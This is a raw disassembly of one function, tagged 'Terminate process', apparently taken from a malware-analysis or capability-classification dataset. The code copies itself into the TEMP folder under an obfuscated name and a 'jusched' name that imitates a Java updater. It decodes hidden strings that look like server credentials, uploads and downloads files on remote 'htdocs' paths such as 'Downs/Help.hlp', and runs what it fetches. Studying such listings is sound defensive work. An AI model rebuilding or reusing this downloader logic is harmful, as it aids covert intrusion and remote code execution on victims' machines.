Function at 0x405250
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd98
push ebx
push esi
push edi
lea edi, [ebp - 0xd98]
mov ecx, 0x366
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
call fcn.00401050
call fcn.0040102d
mov esi, esp
push 0x200
lea eax, [ebp - 0x408]
push eax
push 0
call dword [0x43a1c0]
cmp esi, esp
call fcn.00406410
lea ecx, [ebp - 0x408]
push ecx
call fcn.00406390
add esp, 4
sub eax, 5
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
movsx eax, byte [ebp + edx - 0x408]
cmp eax, 0x20
jne 0x4053cb
mov ecx, dword [ebp - 8]
mov byte [ebp + ecx - 0x408], 0
mov esi, esp
push 0
lea edx, [ebp - 0x408]
push edx
call dword [0x43a1bc]
cmp esi, esp
call fcn.00406410
lea eax, [ebp - 0x408]
push eax
call fcn.0040105f
add esp, 4
mov ecx, dword [ebp - 8]
mov byte [ebp + ecx - 0x408], 0x20
mov esi, esp
push 0x200
lea edx, [ebp - 0x608]
push edx
push str.TEMP
call dword [0x43a1c4]
cmp esi, esp
call fcn.00406410
push 0x427374
lea eax, [ebp - 0x608]
push eax
call fcn.00406890
add esp, 8
push 0x43a164
lea ecx, [ebp - 0x608]
push ecx
call fcn.00406890
add esp, 8
push 0x10
lea edx, [ebp - 0x808]
push edx
push 0x1b
call fcn.0040ac30
add esp, 0xc
lea eax, [ebp - 0x808]
push eax
lea ecx, [ebp - 0x608]
push ecx
call fcn.00406890
add esp, 8
push str._5H5
lea edx, [ebp - 0x808]
push edx
call fcn.00401046
add esp, 8
lea eax, [ebp - 0x808]
push eax
lea ecx, [ebp - 0x608]
push ecx
call fcn.00406890
add esp, 8
mov esi, esp
push 1
lea edx, [ebp - 0x608]
push edx
lea eax, [ebp - 0x408]
push eax
call dword [0x43a1d0]
cmp esi, esp
call fcn.00406410
lea ecx, [ebp - 0x608]
push ecx
call fcn.0040105f
add esp, 4
push 1
call fcn.00406ab0
mov edx, dword [ebp - 8]
movsx eax, byte [ebp + edx - 0x408]
cmp eax, 0x7d
jne 0x4053fa
mov esi, esp
push 0
push 0x43a164
lea ecx, [ebp - 0x408]
push ecx
push 0
call dword [0x43f3a4]
cmp esi, esp
call fcn.00406410
call fcn.00401055
call fcn.0040100a
test eax, eax
jne 0x40540f
push 1
call fcn.00406ab0
push str._B_7B1v9_5C
lea edx, [ebp - 0x608]
push edx
call fcn.00401046
add esp, 8
mov esi, esp
push 0x200
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x608]
push ecx
call dword [0x43a1c4]
cmp esi, esp
call fcn.00406410
mov esi, esp
push 0x200
lea edx, [ebp - 0x408]
push edx
push 0
call dword [0x43a1c0]
cmp esi, esp
call fcn.00406410
push 0x427374
lea eax, [ebp - 0x208]
push eax
call fcn.00406890
add esp, 8
push 0x43a164
lea ecx, [ebp - 0x208]
push ecx
call fcn.00406890
add esp, 8
mov esi, esp
push 0
lea edx, [ebp - 0x208]
push edx
call dword [0x43a1bc]
cmp esi, esp
call fcn.00406410
push 0x427374
lea eax, [ebp - 0x208]
push eax
call fcn.00406890
add esp, 8
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0xa08]
push edx
call fcn.00406880
add esp, 8
push str.jusched.
lea eax, [ebp - 0x208]
push eax
call fcn.00406890
add esp, 8
movsx ecx, byte [0x42ccaf]
add ecx, 2
mov byte [ebp - 0x608], cl
movsx edx, byte [0x42ccaf]
add edx, 0x15
mov byte [ebp - 0x607], dl
movsx eax, byte [0x42ccaf]
add eax, 2
mov byte [ebp - 0x606], al
mov byte [ebp - 0x605], 0
lea ecx, [ebp - 0x608]
push ecx
lea edx, [ebp - 0x208]
push edx
call fcn.00406890
add esp, 8
mov esi, esp
push 0x7d0
call dword [0x43f290]
cmp esi, esp
call fcn.00406410
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x408]
push ecx
call fcn.004067f0
add esp, 8
test eax, eax
je 0x4055f0
mov esi, esp
push 0
push 0x80
push 3
push 0
push 0
push closesocket
lea edx, [ebp - 0x208]
push edx
call dword [0x43a1e8]
cmp esi, esp
call fcn.00406410
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4055d5
mov esi, esp
mov eax, dword [ebp - 4]
push eax
call dword [0x43a1e4]
cmp esi, esp
call fcn.00406410
mov esi, esp
lea ecx, [ebp - 0x208]
push ecx
call dword [0x43a1b0]
cmp esi, esp
call fcn.00406410
test eax, eax
je 0x4055d3
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x408]
push eax
call fcn.0040101e
add esp, 8
jmp 0x4055eb
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x408]
push edx
call fcn.0040101e
add esp, 8
jmp 0x405fb9
mov esi, esp
push 0xc350
call dword [0x43f290]
cmp esi, esp
call fcn.00406410
mov byte [ebp - 0xd44], 0
mov byte [ebp - 0xd48], 0
mov byte [ebp - 0xd50], 0x14
mov byte [ebp - 0xd54], 0x14
push str.6D__2I5D8_CDab_3_
lea eax, [ebp - 0xd40]
push eax
call fcn.00401046
add esp, 8
push str.2ab0h_hbige
lea ecx, [ebp - 0xd0e]
push ecx
call fcn.00401046
add esp, 8
push str.ieagecJH
lea edx, [ebp - 0xcdc]
push edx
call fcn.00401046
add esp, 8
push str.7B9_D___:9_8_CD54__5D
lea eax, [ebp - 0xcaa]
push eax
call fcn.00401046
add esp, 8
push str.eedeia
lea ecx, [ebp - 0xc78]
push ecx
call fcn.00401046
add esp, 8
push str.gdaheb
lea edx, [ebp - 0xc46]
push edx
call fcn.00401046
add esp, 8
push str.6D__DB9__4_3_
lea eax, [ebp - 0xc14]
push eax
call fcn.00401046
add esp, 8
push str.__D85_9_EH
lea ecx, [ebp - 0xbe2]
push ecx
call fcn.00401046
add esp, 8
push str.gdaheb123
lea edx, [ebp - 0xbb0]
push edx
call fcn.00401046
add esp, 8
mov byte [ebp - 0xd4c], 3
lea eax, [ebp - 0xa08]
push eax
lea ecx, [ebp - 0x608]
push ecx
call fcn.00406880
add esp, 8
push 0x43a164
lea edx, [ebp - 0x608]
push edx
call fcn.00406890
add esp, 8
mov esi, esp
push 0
push 0x80
push 3
push 0
push 0
push closesocket
lea eax, [ebp - 0x608]
push eax
call dword [0x43a1e8]
cmp esi, esp
call fcn.00406410
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x405898
mov esi, esp
mov ecx, dword [ebp - 4]
push ecx
call dword [0x43a1e4]
cmp esi, esp
call fcn.00406410
push str.htdocs
lea edx, [ebp - 0xa50]
push edx
call fcn.00406880
add esp, 8
push str._Ups_
lea eax, [ebp - 0xa50]
push eax
call fcn.00406890
add esp, 8
push 0x43a164
lea ecx, [ebp - 0xa50]
push ecx
call fcn.00406890
add esp, 8
mov byte [ebp - 0xd48], 0
movsx edx, byte [ebp - 0xd4c]
cmp edx, 5
jne 0x4057fc
movsx eax, byte [ebp - 0xd54]
imul eax, eax, 0x96
lea ecx, [ebp + eax - 0xcdc]
push ecx
movsx edx, byte [ebp - 0xd54]
imul edx, edx, 0x96
lea eax, [ebp + edx - 0xd0e]
push eax
movsx ecx, byte [ebp - 0xd54]
imul ecx, ecx, 0x96
lea edx, [ebp + ecx - 0xd40]
push edx
lea eax, [ebp - 0xa50]
push eax
lea ecx, [ebp - 0x608]
push ecx
call fcn.00401073
add esp, 0x14
test eax, eax
je 0x4057fc
mov byte [ebp - 0xd48], 1
movsx edx, byte [ebp - 0xd48]
test edx, edx
jne 0x405882
mov dword [ebp - 8], 0
jmp 0x405819
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
movsx ecx, byte [ebp - 0xd4c]
cmp dword [ebp - 8], ecx
jge 0x405882
movsx edx, byte [ebp - 0xd54]
cmp dword [ebp - 8], edx
je 0x405880
mov eax, dword [ebp - 8]
imul eax, eax, 0x96
lea ecx, [ebp + eax - 0xcdc]
push ecx
mov edx, dword [ebp - 8]
imul edx, edx, 0x96
lea eax, [ebp + edx - 0xd0e]
push eax
mov ecx, dword [ebp - 8]
imul ecx, ecx, 0x96
lea edx, [ebp + ecx - 0xd40]
push edx
lea eax, [ebp - 0xa50]
push eax
lea ecx, [ebp - 0x608]
push ecx
call fcn.00401073
add esp, 0x14
test eax, eax
je 0x405880
jmp 0x405882
jmp 0x405810
mov esi, esp
lea edx, [ebp - 0x608]
push edx
call dword [0x43a1b0]
cmp esi, esp
call fcn.00406410
lea eax, [ebp - 0xa08]
push eax
lea ecx, [ebp - 0x608]
push ecx
call fcn.00406880
add esp, 8
push str.Pfile.hlp
lea edx, [ebp - 0x608]
push edx
call fcn.00406890
add esp, 8
mov esi, esp
push 0
push 0x80
push 3
push 0
push 0
push closesocket
lea eax, [ebp - 0x608]
push eax
call dword [0x43a1e8]
cmp esi, esp
call fcn.00406410
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x405a6c
mov esi, esp
mov ecx, dword [ebp - 4]
push ecx
call dword [0x43a1e4]
cmp esi, esp
call fcn.00406410
push str.htdocs
lea edx, [ebp - 0xa50]
push edx
call fcn.00406880
add esp, 8
push str._Private_
lea eax, [ebp - 0xa50]
push eax
call fcn.00406890
add esp, 8
push 0x43a164
lea ecx, [ebp - 0xa50]
push ecx
call fcn.00406890
add esp, 8
mov byte [ebp - 0xd48], 0
movsx edx, byte [ebp - 0xd4c]
cmp edx, 5
jne 0x4059b9
movsx eax, byte [ebp - 0xd54]
imul eax, eax, 0x96
lea ecx, [ebp + eax - 0xcdc]
push ecx
movsx edx, byte [ebp - 0xd54]
imul edx, edx, 0x96
lea eax, [ebp + edx - 0xd0e]
push eax
movsx ecx, byte [ebp - 0xd54]
imul ecx, ecx, 0x96
lea edx, [ebp + ecx - 0xd40]
push edx
lea eax, [ebp - 0xa50]
push eax
lea ecx, [ebp - 0x608]
push ecx
call fcn.00401073
add esp, 0x14
test eax, eax
je 0x4059b9
mov byte [ebp - 0xd48], 1
movsx edx, byte [ebp - 0xd48]
test edx, edx
jne 0x405a4a
mov dword [ebp - 8], 0
jmp 0x4059da
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
movsx ecx, byte [ebp - 0xd4c]
cmp dword [ebp - 8], ecx
jge 0x405a4a
movsx edx, byte [ebp - 0xd54]
cmp dword [ebp - 8], edx
je 0x405a48
mov eax, dword [ebp - 8]
imul eax, eax, 0x96
lea ecx, [ebp + eax - 0xcdc]
push ecx
mov edx, dword [ebp - 8]
imul edx, edx, 0x96
lea eax, [ebp + edx - 0xd0e]
push eax
mov ecx, dword [ebp - 8]
imul ecx, ecx, 0x96
lea edx, [ebp + ecx - 0xd40]
push edx
lea eax, [ebp - 0xa50]
push eax
lea ecx, [ebp - 0x608]
push ecx
call fcn.00401073
add esp, 0x14
test eax, eax
je 0x405a48
mov byte [ebp - 0xd48], 1
jmp 0x405a4a
jmp 0x4059d1
movsx edx, byte [ebp - 0xd48]
cmp edx, 1
jne 0x405a6c
mov esi, esp
lea eax, [ebp - 0x608]
push eax
call dword [0x43a1b0]
cmp esi, esp
call fcn.00406410
mov esi, esp
push 0x7d0
call dword [0x43f290]
cmp esi, esp
call fcn.00406410
push str.Help.hlp
lea ecx, [ebp - 0xa08]
push ecx
call fcn.00406890
add esp, 8
push str.htdocs
lea edx, [ebp - 0xa50]
push edx
call fcn.00406880
add esp, 8
push str._Downs_Help.hlp
lea eax, [ebp - 0xa50]
push eax
call fcn.00406890
add esp, 8
movsx ecx, byte [ebp - 0xd4c]
cmp ecx, 5
jne 0x405b28
movsx edx, byte [ebp - 0xd50]
imul edx, edx, 0x96
lea eax, [ebp + edx - 0xcdc]
push eax
movsx ecx, byte [ebp - 0xd50]
imul ecx, ecx, 0x96
lea edx, [ebp + ecx - 0xd0e]
push edx
movsx eax, byte [ebp - 0xd50]
imul eax, eax, 0x96
lea ecx, [ebp + eax - 0xd40]
push ecx
lea edx, [ebp - 0xa50]
push edx
lea eax, [ebp - 0xa08]
push eax
call fcn.00401032
add esp, 0x14
test eax, eax
je 0x405b28
mov byte [ebp - 0xd44], 1
movsx ecx, byte [ebp - 0xd44]
test ecx, ecx
jne 0x405bb9
mov dword [ebp - 8], 0
jmp 0x405b49
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
movsx eax, byte [ebp - 0xd4c]
cmp dword [ebp - 8], eax
jge 0x405bb9
movsx ecx, byte [ebp - 0xd50]
cmp dword [ebp - 8], ecx
je 0x405bb7
mov edx, dword [ebp - 8]
imul edx, edx, 0x96
lea eax, [ebp + edx - 0xcdc]
push eax
mov ecx, dword [ebp - 8]
imul ecx, ecx, 0x96
lea edx, [ebp + ecx - 0xd0e]
push edx
mov eax, dword [ebp - 8]
imul eax, eax, 0x96
lea ecx, [ebp + eax - 0xd40]
push ecx
lea edx, [ebp - 0xa50]
push edx
lea eax, [ebp - 0xa08]
push eax
call fcn.00401032
add esp, 0x14
test eax, eax
je 0x405bb7
mov byte [ebp - 0xd44], 1
jmp 0x405bb9
jmp 0x405b40
mov esi, esp
push 0x200
lea ecx, [ebp - 0x608]
push ecx
push str.TEMP
call dword [0x43a1c4]
cmp esi, esp
call fcn.00406410
push 0x427374
lea edx, [ebp - 0x608]
push edx
call fcn.00406890
add esp, 8
push 0x43a164
lea eax, [ebp - 0x608]
push eax
call fcn.00406890
add esp, 8
push str._5H5
lea ecx, [ebp - 0x808]
push ecx
call fcn.00401046
add esp, 8
lea edx, [ebp - 0x808]
push edx
lea eax, [ebp - 0x608]
push eax
call fcn.00406890
add esp, 8
lea ecx, [ebp - 0xa08]
push ecx
call fcn.00401082
add esp, 4
test eax, eax
jle 0x405f6e
mov edx, dword [0x43a188]
movsx eax, byte [edx]
cmp eax, 0x4d
jne 0x405f59
push 0
call fcn.00401069
add esp, 4
mov dword [ebp - 8], eax
mov ecx, dword [0x43a184]
add ecx, dword [ebp - 8]
mov dword [0x43a184], ecx
lea edx, [ebp - 0x608]
push edx
call fcn.00401037
add esp, 4
mov eax, dword [0x43a184]
sub eax, dword [ebp - 8]
mov dword [0x43a184], eax
mov esi, esp
push 0x14
call dword [0x43f290]
cmp esi, esp
call fcn.00406410
lea ecx, [ebp - 0x608]
push ecx
call fcn.0040105f
add esp, 4
push 4
mov edx, dword [0x43a184]
mov eax, dword [0x43a188]
lea ecx, [eax + edx - 4]
push ecx
lea edx, [ebp - 0xd58]
push edx
call fcn.004064b0
add esp, 0xc
mov esi, esp
mov eax, dword [0x43a188]
push eax
call dword [0x43a1fc]
cmp esi, esp
call fcn.00406410
cmp dword [ebp - 0xd58], 0x1b
jle 0x405f57
push str.htdocs
lea ecx, [ebp - 0xa50]
push ecx
call fcn.00406880
add esp, 8
push str._Downs_HelpVer.hlp
lea edx, [ebp - 0xa50]
push edx
call fcn.00406890
add esp, 8
mov byte [ebp - 0xd44], 0
mov esi, esp
push 0x1f40
call dword [0x43f290]
cmp esi, esp
call fcn.00406410
movsx eax, byte [ebp - 0xd4c]
cmp eax, 5
jne 0x405d9e
movsx ecx, byte [ebp - 0xd50]
imul ecx, ecx, 0x96
lea edx, [ebp + ecx - 0xcdc]
push edx
movsx eax, byte [ebp - 0xd50]
imul eax, eax, 0x96
lea ecx, [ebp + eax - 0xd0e]
push ecx
movsx edx, byte [ebp - 0xd50]
imul edx, edx, 0x96
lea eax, [ebp + edx - 0xd40]
push eax
lea ecx, [ebp - 0xa50]
push ecx
lea edx, [ebp - 0xa08]
push edx
call fcn.00401032
add esp, 0x14
test eax, eax
je 0x405d9e
mov byte [ebp - 0xd44], 1
movsx eax, byte [ebp - 0xd44]
test eax, eax
jne 0x405e2f
mov dword [ebp - 8], 0
jmp 0x405dbf
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
movsx edx, byte [ebp - 0xd4c]
cmp dword [ebp - 8], edx
jge 0x405e2f
movsx eax, byte [ebp - 0xd50]
cmp dword [ebp - 8], eax
je 0x405e2d
mov ecx, dword [ebp - 8]
imul ecx, ecx, 0x96
lea edx, [ebp + ecx - 0xcdc]
push edx
mov eax, dword [ebp - 8]
imul eax, eax, 0x96
lea ecx, [ebp + eax - 0xd0e]
push ecx
mov edx, dword [ebp - 8]
imul edx, edx, 0x96
lea eax, [ebp + edx - 0xd40]
push eax
lea ecx, [ebp - 0xa50]
push ecx
lea edx, [ebp - 0xa08]
push edx
call fcn.00401032
add esp, 0x14
test eax, eax
je 0x405e2d
mov byte [ebp - 0xd44], 1
jmp 0x405e2f
jmp 0x405db6
movsx eax, byte [ebp - 0xd44]
cmp eax, 1
jne 0x405f57
lea ecx, [ebp - 0xa08]
push ecx
call fcn.00401082
add esp, 4
test eax, eax
jle 0x405f57
mov edx, dword [0x43a188]
movsx eax, byte [edx]
cmp eax, 0x4d
jne 0x405f41
push 1
call fcn.00401069
add esp, 4
mov dword [ebp - 8], eax
mov ecx, dword [0x43a184]
add ecx, dword [ebp - 8]
mov dword [0x43a184], ecx
mov esi, esp
push 0x200
lea edx, [ebp - 0x608]
push edx
push str.TEMP
call dword [0x43a1c4]
cmp esi, esp
call fcn.00406410
push 0x427374
lea eax, [ebp - 0x608]
push eax
call fcn.00406890
add esp, 8
push 0x43a164
lea ecx, [ebp - 0x608]
push ecx
call fcn.00406890
add esp, 8
push str._5H5
lea edx, [ebp - 0x808]
push edx
call fcn.00401046
add esp, 8
lea eax, [ebp - 0x808]
push eax
lea ecx, [ebp - 0x608]
push ecx
call fcn.00406890
add esp, 8
lea edx, [ebp - 0x608]
push edx
call fcn.00401037
add esp, 4
mov esi, esp
mov eax, dword [0x43a188]
push eax
call dword [0x43a1fc]
cmp esi, esp
call fcn.00406410
mov esi, esp
push 0x14
call dword [0x43f290]
cmp esi, esp
call fcn.00406410
lea ecx, [ebp - 0x608]
push ecx
call fcn.0040105f
add esp, 4
push 1
call fcn.00406ab0
mov esi, esp
mov edx, dword [0x43a188]
push edx
call dword [0x43a1fc]
cmp esi, esp
call fcn.00406410
jmp 0x405f6e
mov esi, esp
mov eax, dword [0x43a188]
push eax
call dword [0x43a1fc]
cmp esi, esp
call fcn.00406410
push 0x2ee
push 0
lea ecx, [ebp - 0xd40]
push ecx
call fcn.00406450
add esp, 0xc
mov dword [ebp - 8], 0
mov edx, 1
test edx, edx
je 0x405fb9
lea eax, [ebp - 0x208]
push eax
call fcn.00401019
add esp, 4
mov esi, esp
push 0xea60
call dword [0x43f290]
cmp esi, esp
call fcn.00406410
jmp 0x405f8b
push 1
call fcn.00406ab0
pop edi
pop esi
pop ebx
add esp, 0xd98
cmp ebp, esp
call fcn.00406410
mov esp, ebp
pop ebp
ret 0x10